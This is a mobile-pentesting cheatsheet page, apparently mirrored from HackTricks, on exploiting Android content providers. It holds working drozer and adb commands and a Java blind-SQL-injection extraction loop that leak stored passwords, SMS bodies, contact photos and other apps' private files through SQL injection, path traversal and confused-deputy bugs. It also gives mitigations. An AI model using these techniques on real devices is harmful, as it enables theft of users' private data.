daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

exploiting-content-providers.md (22654B)


      1 ---
      2 title: "Exploiting Content Providers"
      3 section: "Mobile"
      4 sectionSlug: "mobile-pentesting"
      5 sourcePath: "src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Exploiting Content Providers
     14 
     15 ## Intro
     16 
     17 Data is **supplied from one application to others** on request by a component known as a **content provider**. These requests are managed through the **ContentResolver class** methods. Content providers can store their data in various locations, such as a **database**, **files**, or over a **network**.<sup>[[6]](#references)</sup>
     18 
     19 In the _Manifest.xml_ file, the declaration of the content provider is required. For instance:
     20 
     21 ```xml
     22 <provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
     23     <path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
     24 </provider>
     25 ```
     26 
     27 To access `content://com.mwr.example.sieve.DBContentProvider/Keys`, the `READ_KEYS` permission is necessary. It's interesting to note that the path `/Keys/` is accessible in the following section, which is not protected due to a mistake by the developer, who secured `/Keys` but declared `/Keys/`.<sup>[[8]](#references)</sup>
     28 
     29 **Maybe you can access private data or exploit some vulnerability (SQL Injection or Path Traversal).**
     30 
     31 ## Get info from **exposed content providers**
     32 
     33 ```text
     34 dz> run app.provider.info -a com.mwr.example.sieve
     35   Package: com.mwr.example.sieve
     36   Authority: com.mwr.example.sieve.DBContentProvider
     37   Read Permission: null
     38   Write Permission: null
     39   Content Provider: com.mwr.example.sieve.DBContentProvider
     40   Multiprocess Allowed: True
     41   Grant Uri Permissions: False
     42   Path Permissions:
     43   Path: /Keys
     44   Type: PATTERN_LITERAL
     45   Read Permission: com.mwr.example.sieve.READ_KEYS
     46   Write Permission: com.mwr.example.sieve.WRITE_KEYS
     47   Authority: com.mwr.example.sieve.FileBackupProvider
     48   Read Permission: null
     49   Write Permission: null
     50   Content Provider: com.mwr.example.sieve.FileBackupProvider
     51   Multiprocess Allowed: True
     52   Grant Uri Permissions: False
     53 ```
     54 
     55 It's possible to piece together how to reach the **DBContentProvider** by starting URIs with “_content://_”. This approach is based on insights gained from using Drozer, where key information was located in the _/Keys_ directory.<sup>[[8]](#references)</sup>
     56 
     57 Drozer can **guess and try several URIs**:
     58 
     59 ```text
     60 dz> run scanner.provider.finduris -a com.mwr.example.sieve
     61 Scanning com.mwr.example.sieve...
     62 Unable to Query content://com.mwr.example.sieve.DBContentProvider/
     63 ...
     64 Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
     65 Accessible content URIs:
     66 content://com.mwr.example.sieve.DBContentProvider/Keys/
     67 content://com.mwr.example.sieve.DBContentProvider/Passwords
     68 content://com.mwr.example.sieve.DBContentProvider/Passwords/
     69 ```
     70 
     71 You should also check the **ContentProvider code** to search for queries:
     72 
     73 ![Intro - Get info from exposed content providers: You should also check the ContentProvider code to search for queries](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28121%29%20%281%29%20%281%29%20%281%29.png)
     74 
     75 Also, if you can't find full queries you could **check which names are declared by the ContentProvider** on the `onCreate` method:
     76 
     77 ![Intro - Get info from exposed content providers: Also, if you can't find full queries you could check which names are declared by the ContentProvider on the onCreate method](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28564%29.png)
     78 
     79 The query will be like: `content://name.of.package.class/declared_name`
     80 
     81 ## **Database-backed Content Providers**
     82 
     83 Probably most of the Content Providers are used as **interface** for a **database**. Therefore, if you can access it you could be able to **extract, update, insert and delete** information.\
     84 Check if you can **access sensitive information** or try to change it to **bypass authorisation** mechanisms.<sup>[[8]](#references)</sup>
     85 
     86 When checking the code of the Content Provider **look** also for **functions** named like: _query, insert, update and delete_:
     87 
     88 ![Get info from exposed content providers - Database-backed Content Providers: When checking the code of the Content Provider look also for functions named like: query, insert, update and...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28887%29.png)
     89 
     90 ![Get info from exposed content providers - Database-backed Content Providers: When checking the code of the Content Provider look also for functions named like: query, insert, update and...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28254%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29.png)
     91 
     92 Because you will be able to call them
     93 
     94 ### Query content
     95 
     96 ```text
     97 dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
     98 _id: 1
     99 service: Email
    100 username: incognitoguy50
    101 password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
    102 -
    103 email: incognitoguy50@gmail.com
    104 ```
    105 
    106 ### Insert content
    107 
    108 Querying the database reveals the **column names**, which may then allow you to insert data into the database:
    109 
    110 ![Query content - Insert content: querying the database reveals column names that may allow inserting data](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2898%29.png)
    111 
    112 ![Query content - Insert content: querying the database reveals column names that may allow inserting data](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28173%29.png)
    113 
    114 _Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean_
    115 
    116 ### Update content
    117 
    118 Knowing the name of the columns you could also **modify the entries**:
    119 
    120 ![Insert content - Update content: Knowing the name of the columns you could also modify the entries](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28780%29.png)
    121 
    122 ### Delete content
    123 
    124 ![Update content - Delete content: Knowing the name of the columns you could also modify the entries](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28423%29.png)
    125 
    126 ### **SQL Injection**
    127 
    128 It is simple to test for SQL injection **(SQLite)** by manipulating the **projection** and **selection fields** that are passed to the content provider.\
    129 When querying the Content Provider, two important arguments for finding information are _--selection_ and _--projection_:<sup>[[7]](#references)</sup>
    130 
    131 ![Delete content - SQL Injection: --selection and --projection are important Content Provider query arguments](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28784%29.png)
    132 
    133 You can try to **abuse** this **parameters** to test for **SQL injections**:
    134 
    135 ```text
    136 dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
    137 unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
    138 ```
    139 
    140 ```text
    141 dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
    142 FROM SQLITE_MASTER WHERE type='table';--"
    143 | type  | name             | tbl_name         | rootpage | sql              |
    144 | table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
    145 | table | Passwords        | Passwords        | 4        | CREATE TABLE ... |
    146 ```
    147 
    148 **Automatic SQLInjection discovery by Drozer**
    149 
    150 ```text
    151 dz> run scanner.provider.injection -a com.mwr.example.sieve
    152 Scanning com.mwr.example.sieve...
    153 Injection in Projection:
    154   content://com.mwr.example.sieve.DBContentProvider/Keys/
    155   content://com.mwr.example.sieve.DBContentProvider/Passwords
    156   content://com.mwr.example.sieve.DBContentProvider/Passwords/
    157 Injection in Selection:
    158   content://com.mwr.example.sieve.DBContentProvider/Keys/
    159   content://com.mwr.example.sieve.DBContentProvider/Passwords
    160   content://com.mwr.example.sieve.DBContentProvider/Passwords/
    161 
    162 dz> run scanner.provider.sqltables -a jakhar.aseem.diva
    163 Scanning jakhar.aseem.diva...
    164 Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
    165   android_metadata
    166   notes
    167   sqlite_sequence
    168 ```
    169 
    170 ### writePermission omission + blind SQLi via update()
    171 
    172 A common OEM mistake is to export a ContentProvider with a readPermission but omit writePermission. When writePermission is null, any app can call insert/update/delete if those methods are implemented. If update() concatenates the caller-controlled WHERE (selection) directly into an SQL statement, you can build a blind inference oracle and exfiltrate data from other tables in the same SQLite DB (even those normally protected by privileged read permissions like READ_SMS).<sup>[[1]](#references)[[2]](#references)</sup>
    173 
    174 Key idea
    175 - Exported provider, readPermission set, writePermission omitted<sup>[[3]](#references)[[4]](#references)</sup>
    176 - update(uri, values, where, whereArgs) returns rows-affected; UNIQUE constraint errors also indicate a write attempt happened<sup>[[5]](#references)</sup>
    177 - Attack controls WHERE to evaluate a Boolean expression over a subquery that reads secret data from co-located tables
    178 - If the provider’s table is empty, insert() can be abused to seed a row so update() affects ≥1 row
    179 
    180 Discovery workflow
    181 - Enumerate exported providers and check perms:
    182   - drozer: `run app.provider.info -a <pkg>`
    183   - adb: aapt dump xmltree APK AndroidManifest.xml | grep -A5 "<provider"
    184 - Look for providers with readPermission set but writePermission missing
    185 - Confirm update() is implemented and selection is injectable (projection/selection/sortOrder often are; update() selection is commonly overlooked)
    186 
    187 Co-location and schema probe (adb)
    188 Use sqlite_master to verify the target table exists in the same DB file:
    189 
    190 ```bash
    191 adb shell cmd content query \
    192   --uri content://service-number/service_number \
    193   --where '(SELECT COUNT(*) FROM (SELECT tbl_name FROM sqlite_master WHERE tbl_name = "sms"))>0'
    194 ```
    195 
    196 Seeding a row (if needed)
    197 If update() returns 0 because the provider’s table is empty, insert a dummy row first. Many OEM providers accept arbitrary ContentValues with no validation:
    198 
    199 ```bash
    200 adb shell cmd content insert \
    201   --uri content://service-number/service_number \
    202   --bind hash_number:s:dummy
    203 ```
    204 
    205 Blind Boolean oracle via update()
    206 - Predicate template: `1=1 AND unicode(substr((<subquery>), <idx>, 1)) BETWEEN <lo> AND <hi>`
    207 - TRUE if update() > 0 or a UNIQUE constraint exception is thrown; FALSE otherwise
    208 - Binary search [0..127] to recover each character
    209 
    210 Minimal extraction loop (pseudocode)
    211 ```java
    212 boolean probe(Uri uri, String where) {
    213   ContentValues cv = new ContentValues();
    214   cv.put("rowid", "123");
    215   try {
    216     return getContentResolver().update(uri, cv, where, null) > 0;
    217   } catch (Exception e) {
    218     return e.getMessage() != null && e.getMessage().contains("UNIQUE constraint failed");
    219   }
    220 }
    221 
    222 char leakChar(Uri uri, String subquery, int pos) {
    223   int lo = 0, win = 127;
    224   while (true) {
    225     String where = String.format(
    226       "1=1 AND unicode(substr((%s), %d, 1)) BETWEEN %d AND %d",
    227       subquery, pos, lo, lo + win);
    228     if (probe(uri, where)) {
    229       if (win == 0) return (char) lo;
    230       win = (win > 3) ? (win / 2) : (win - 1);
    231     } else {
    232       if (lo == 0 && win == 127) return '\0';
    233       lo = (win > 0) ? (lo + win) : (lo + 1);
    234     }
    235   }
    236 }
    237 ```
    238 
    239 adb example of a single probe
    240 ```bash
    241 # Try to infer whether first char of latest SMS body is between '0'(48) and '9'(57)
    242 adb shell cmd content update \
    243   --uri content://service-number/service_number \
    244   --bind rowid:s:123 \
    245   --where '1=1 AND unicode(substr((SELECT body FROM sms ORDER BY rowid DESC LIMIT 1),1,1)) BETWEEN 48 AND 57'
    246 ```
    247 
    248 Notes
    249 - Works only if the target table (e.g., sms) is in the same SQLite database used by the vulnerable provider
    250 - insert()/update()/delete() must be callable by unprivileged apps (writePermission omitted)
    251 - The exact URI and table names differ per OEM/provider; examples seen in the wild include:
    252   - content://service-number/service_number
    253   - content://push-mms/push
    254   - content://push-shop/push_shop
    255 
    256 Mitigations for app/ROM developers
    257 - Always declare both readPermission and writePermission on exported providers; prefer android:exported="false" by default
    258 - Sanitize or bind selection / projection / sortOrder; do not concatenate caller input into SQL
    259 - Use SQLiteQueryBuilder with a projection map and fixed WHERE templates; validate column names against a whitelist
    260 - Keep sensitive tables in a separate DB not shared with untrusted providers
    261 
    262 ## **File System-backed Content Providers**
    263 
    264 Content providers could be also used to **access files:**
    265 
    266 ![Try to infer whether first char of latest SMS body is between '0'(48) and '9'(57) - File System-backed Content Providers: Content providers could be also used to access files](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28407%29.png)
    267 
    268 ### Read **file**
    269 
    270 You can read files from the Content Provider
    271 
    272 ```text
    273 dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
    274 127.0.0.1            localhost
    275 ```
    276 
    277 ### **Path Traversal**
    278 
    279 If you can access files, you can try to abuse a Path Traversal (in this case this isn't necessary but you can try to use "_../_" and similar tricks).<sup>[[7]](#references)</sup>
    280 
    281 ```text
    282 dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
    283 127.0.0.1            localhost
    284 ```
    285 
    286 **Automatic Path Traversal discovery by Drozer**
    287 
    288 ```text
    289 dz> run scanner.provider.traversal -a com.mwr.example.sieve
    290 Scanning com.mwr.example.sieve...
    291 Vulnerable Providers:
    292   content://com.mwr.example.sieve.FileBackupProvider/
    293   content://com.mwr.example.sieve.FileBackupProvider
    294 ```
    295 
    296 ## Exported provider as a confused deputy
    297 
    298 An **exported** `ContentProvider` can become a **permission proxy** if it accepts a **caller-controlled backend URI** (for example via a path segment, query parameter, or `call()` bundle), dereferences that URI with the **provider app UID**, and then returns the resulting bytes to the lower-privileged caller.<sup>[[11]](#references)</sup>
    299 
    300 Typical bug pattern:
    301 
    302 - Provider is exported and reachable by untrusted apps
    303 - No caller permission, or a weak permission any app can hold
    304 - App has privileged access to another provider (for example Contacts, SMS, media, work-profile data)
    305 - External caller controls a backend `content://` URI that is later passed into `ContentResolver.query/openInputStream/openFileDescriptor/openAssetFileDescriptor`
    306 - Provider returns the original bytes or **derived output** (resized bitmap, transcoded PNG/JPEG, cached file, thumbnail)
    307 
    308 Why this matters:
    309 
    310 - The security boundary is enforced on the **UID performing the read**
    311 - A direct read from the attacker app may fail with `SecurityException`
    312 - The same URI may succeed when the victim provider reads it with its own permissions
    313 - **Rendering or transcoding does not remove the leak**: once protected data is converted to another format and streamed back, the permission boundary is already bypassed
    314 
    315 Minimal triage workflow:
    316 
    317 1. Enumerate exported providers and inspect manifest permissions (`readPermission`, `writePermission`, `grantUriPermissions`, path permissions)
    318 2. Reverse `query()`, `openFile()`, `openAssetFile()`, `openTypedAssetFile()`, and `call()` looking for attacker-controlled URIs
    319 3. Trace sinks such as:
    320    - `Uri.parse(...)`
    321    - `getQueryParameter(...)`
    322    - `Bundle.getString(...)`
    323    - `ContentResolver.query(...)`
    324    - `openInputStream(...)`
    325    - `openFileDescriptor(...)`
    326 4. Test the protected backend URI directly from a no-permission app to confirm it is blocked
    327 5. Send the **same** URI through the exported provider and compare the response
    328 
    329 ADB-style reproduction:
    330 
    331 ```bash
    332 # Direct read from the attacker UID should fail
    333 adb shell am start -S -n com.local.probe/.ProbeActivity \
    334   --es mode query-uri \
    335   --es uri content://com.android.contacts/contacts/CONTACT_ID/photo
    336 
    337 # The same protected URI wrapped by the exported provider may succeed
    338 adb shell am start -S -n com.local.probe/.ProbeActivity \
    339   --es mode query-uri \
    340   --es uri 'content://com.victim.provider/r?m=content%3A%2F%2Fcom.android.contacts%2Fcontacts%2FCONTACT_ID%2Fphoto'
    341 ```
    342 
    343 Common static signals:
    344 
    345 - `android:exported="true"` with no `readPermission` / `writePermission`
    346 - `grantUriPermissions="true"` combined with broad URI handling
    347 - Image/avatar/thumbnail/document preview providers that accept a source URI
    348 - Internal "safe URI" checks that only validate syntax/authority but **do not verify the original caller can access the source**
    349 
    350 Enumeration hint:
    351 
    352 If missing objects return a **stable fallback** (default avatar, placeholder thumbnail, empty file), the bug may be enumerable. Iterate predictable IDs and keep responses whose **size**, **hash**, or **decoded pixels** differ from the fallback.
    353 
    354 Safer design for developers:
    355 
    356 - Do not dereference untrusted external `content://` URIs with the app's ambient permissions
    357 - Prefer serving only app-owned opaque resources
    358 - If callers must provide a URI, require an explicit grant or verify the caller can access the source before reading it
    359 - Make the provider non-exported or protect it with a signature/internal permission unless cross-app access is really needed
    360 
    361 ## 2023-2025 Updates & Modern Tips
    362 
    363 ### Drozer 3.x (Python 3) is out
    364 
    365 WithSecure resumed maintenance of drozer in 2022 and ported the framework to **Python 3** (latest **3.1.0 – April 2024**).<sup>[[9]](#references)</sup>  
    366 Besides compatibility fixes, new modules that are particularly useful when working with Content Providers include:
    367 
    368 * `scanner.provider.exported` – list only providers with `android:exported="true"`.
    369 * `app.provider.grant` – automatically call `grantUriPermission()` so you can talk to providers that expect `FLAG_GRANT_READ_URI_PERMISSION` / `FLAG_GRANT_WRITE_URI_PERMISSION` on Android 12+.
    370 * Better handling of **Scoped Storage** so file-based providers on Android 11+ can still be reached.
    371 
    372 Upgrade (host & agent):
    373 
    374 ```bash
    375 pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
    376 adb install drozer-agent-3.1.0.apk
    377 ```
    378 
    379 ### Using the built-in `cmd content` helper (ADB ≥ 8.0)
    380 
    381 All modern Android devices ship with a CLI that can query/update providers **without installing any agent**:
    382 
    383 ```bash
    384 adb shell cmd content query  --uri content://com.test.provider/items/
    385 adb shell cmd content update --uri content://com.test.provider/items/1 \
    386       --bind price:d:1337
    387 adb shell cmd content call   --uri content://com.test.provider  \
    388       --method evilMethod --arg 'foo'
    389 ```
    390 
    391 Combine it with `run-as <pkg>` or a rooted shell to test internal-only providers.
    392 
    393 ### Recent real-world CVEs that abused Content Providers
    394 
    395 | CVE | Year | Component | Bug class | Impact |
    396 |-----|------|-----------|-----------|--------|
    397 | CVE-2024-43089 | 2024 | MediaProvider | Path traversal in `openFile()` | Arbitrary file read from any app’s private storage<sup>[[10]](#references)</sup> |
    398 | CVE-2023-35670 | 2023 | MediaProvider | Path traversal | Information disclosure |
    399 
    400 Re-create CVE-2024-43089 on a vulnerable build:
    401 
    402 ```bash
    403 adb shell cmd content read \
    404   --uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
    405 ```
    406 
    407 ### Hardening checklist for API 30+
    408 
    409 * Declare `android:exported="false"` unless the provider **must** be public – from API 31 the attribute is mandatory.
    410 * Enforce **permissions** and/or `android:grantUriPermissions="true"` instead of exporting the whole provider.
    411 * Whitelist allowed `projection`, `selection` and `sortOrder` arguments (e.g. build queries with `SQLiteQueryBuilder.setProjectionMap`).
    412 * In `openFile()` canonicalise the requested path (`FileUtils`) and reject `..` sequences to prevent traversal.
    413 * When exposing files prefer **Storage Access Framework** or a `FileProvider`.
    414 
    415 These changes in recent Android versions mean many legacy exploitation primitives still work, but require additional flags/permissions that the updated drozer modules or `cmd content` helper can apply automatically.
    416 
    417 ## References
    418 
    419 - [1] [CVE-2025-10184: OnePlus OxygenOS Telephony provider permission bypass (NOT FIXED)](https://www.rapid7.com/blog/post/cve-2025-10184-oneplus-oxygenos-telephony-provider-permission-bypass-not-fixed/)
    420 - [2] [Android docs: Content providers](https://developer.android.com/guide/topics/providers/content-provider-basics)
    421 - [3] [Android manifest provider: readPermission](https://developer.android.com/guide/topics/manifest/provider-element#rprmsn)
    422 - [4] [Android manifest provider: writePermission](https://developer.android.com/guide/topics/manifest/provider-element#wprmsn)
    423 - [5] [Android ContentResolver.update()](https://developer.android.com/reference/android/content/ContentResolver#update(android.net.Uri,%20android.content.ContentValues,%20java.lang.String,%20java.lang.String[]))
    424 - [6] [Android - Content Providers (TutorialsPoint)](https://www.tutorialspoint.com/android/android_content_providers.htm)
    425 - [7] [Android Application Security Part 15 – Attacking Content Providers](https://manifestsecurity.com/android-application-security-part-15/)
    426 - [8] [Drozer User Guide (WithSecure Labs / MWR InfoSecurity, 2015)](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
    427 - [9] [drozer 3.1.0 release notes](https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0)
    428 - [10] [Android Security Bulletin—July 2024](https://source.android.com/security/bulletin/2024-07-01)
    429 - [11] [Reading Contact Photos Without READ_CONTACTS: A Google Messages Confused Deputy Bug](https://blog.devploit.dev/posts/google-messages-avatarcontentprovider-contacts-bypass/)